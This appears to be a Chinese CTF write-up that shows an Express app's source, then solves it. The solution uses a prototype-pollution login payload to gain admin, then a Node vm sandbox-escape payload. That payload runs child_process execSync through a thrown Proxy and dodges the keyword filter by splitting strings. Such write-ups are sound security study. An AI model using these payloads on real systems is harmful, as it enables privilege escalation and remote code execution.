if (code.includes(v)) {
throw new Error(v + ' is banned')
}
}
}
function requireLogin(req, res, next) {
if (!req.session.user) {
res.redirect('/login')
} else {
next()
}
}
app.use(function(req, res, next) {
for (let key in Object.prototype) {
delete Object.prototype[key]
}
next()
})
app.get('/', requireLogin, function(req, res) {
res.sendFile(__dirname + '/public/index.html')
})
app.get('/login', function(req, res) {
res.sendFile(__dirname + '/public/login.html')
})
app.get('/register', function(req, res) {
res.sendFile(__dirname + '/public/register.html')
})
app.post('/login', function(req, res) {
let { username, password } = clone(req.body)
if (username in users && password === users[username]) {
req.session.user = username
if (username in admins) {
req.session.role = 'admin'
} else {
req.session.role = 'guest'
}
res.send({
'message': 'login success'
})
} else {
res.send({
'message': 'login failed'
})
}
})
app.post('/register', function(req, res) {
let { username, password } = clone(req.body)
if (username in users) {
res.send({
'message': 'register failed'
})
} else {
users[username] = password
res.send({
'message': 'register success'
})
}
})
app.get('/profile', requireLogin, function(req, res) {
res.send({
'user': req.session.user,
'role': req.session.role
})
})
app.post('/sandbox', requireLogin, function(req, res) {
if (req.session.role === 'admin') {
let code = req.body.code
let sandbox = Object.create(null)
let context = vm.createContext(sandbox)
try {
waf(code)
let result = vm.runInContext(code, context)
res.send({
'result': result
})
} catch (e) {
res.send({
'result': e.message
})
}
} else {
res.send({
'result': 'Your role is not admin, so you can not run any code'
})
}
})
app.get('/logout', requireLogin, function(req, res) {
req.session.destroy()
res.redirect('/login')
})
app.listen(3000, function() {
console.log('server start listening on :3000')
})
很明显的原型连污染,我们只要在登录的时候污染admins为我们注册的账号即可
先注册一个test账号,然后在login页面传payload
{
"username": "test",
"password": "test",
"constructor": {
"prototype":{"test":"admin"}
}
}
接下来就到沙箱逃逸了
app.post('/sandbox', requireLogin, function(req, res) {
if (req.session.role === 'admin') {
let code = req.body.code
let sandbox = Object.create(null)
let context = vm.createContext(sandbox)
try {
waf(code)
let result = vm.runInContext(code, context)
res.send({
'result': result
})
} catch (e) {
res.send({
'result': e.message
})
}
} else {
res.send({
'result': 'Your role is not admin, so you can not run any code'
})
}
})
我们可以看到这里this为null,没有可以利用的对象,沙箱外也没有访问proxy对象的任意属性,唯一能利用的点就是借助异常了,同时有个简单的关键字绕过
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller
const p = (cc['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))()
return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('whoami').toString();
}
})
参考链接
https://tari.moe/p/2021/ctfshow-nodejs#13e0f1829657424ebd9180d4d6f85ce8